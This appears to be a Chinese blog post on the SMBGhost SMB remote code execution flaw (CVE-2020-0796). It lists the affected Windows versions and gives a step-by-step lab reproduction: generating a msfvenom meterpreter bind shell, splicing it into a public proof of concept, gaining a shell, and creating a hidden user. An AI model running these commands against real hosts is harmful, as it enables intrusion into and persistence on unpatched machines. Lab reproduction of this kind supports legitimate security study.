微软发布安全公告披露了一个最新的SMB远程代码执行漏洞(CVE-2020-0796),攻击者利用该漏洞无须权限即可实现远程代码执行,一旦被成功利用,其危害不亚于永恒之蓝,全球 10 万台服务器或成首轮攻击目标。
SMB(Server Message Block)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台。由于SMB 3.1. 1 协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码,受黑客攻击的目标系统只要开机在线即可能被入侵。据了解,凡政府机构、企事业单位网络中采用Windows 101903 之后的所有终端节点,如Windows家用版、专业版、企业版、教育版,Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1 均为潜在攻击目标,Windows7 不受影响
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
复现环境
被攻击主机:Windows 10 Version 1903(需要关闭防火墙)
攻击者:kali
- 先下载漏洞检测工具,使用python脚本对主机ip进行扫描,发现主机存在这个漏洞
git clone https://github.com/ollypwn/SMBGhost
- 然后再使用msfvenom生成Windows反弹shell的payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -f python > paylaod
- 然后将paylaod中的“buf”替换为“USER_PAYLOAD”
sed "s/buf/USER_PAYLOAD/g" -i payload
- 通过
https://github.com/mxm-tools/SMBGhost_RCE_PoC
下载利用工具,然后将原先的payload进行替换
sed "92,128 d" -i exploit.py # 删除exploit.py文件的92行到128行
sed "92r payload" -i exploit.py #将paylaod文件内容添加到exploit.py的92行后
- 然后使用msf的侦听模块exploit/multi/handler,尝试与Windows主机的4444端口进行连接
- 然后开始这边开始run,开启4444号端口的监听,打开另外一个窗口来执行 修改过后的exploit的命令
python3 exploit.py -ip 192.168.219.215
- 提示按一个键执行shellcode,按键但是没反应,后来发现是win10蓝屏了(确实会存在执行后win10死机的情况,重启就好了)
- win10重启过后,再次执行命令,成功拿到shell
- 再次连接进去创建隐藏用户,后续再进行windows权限维持等操作了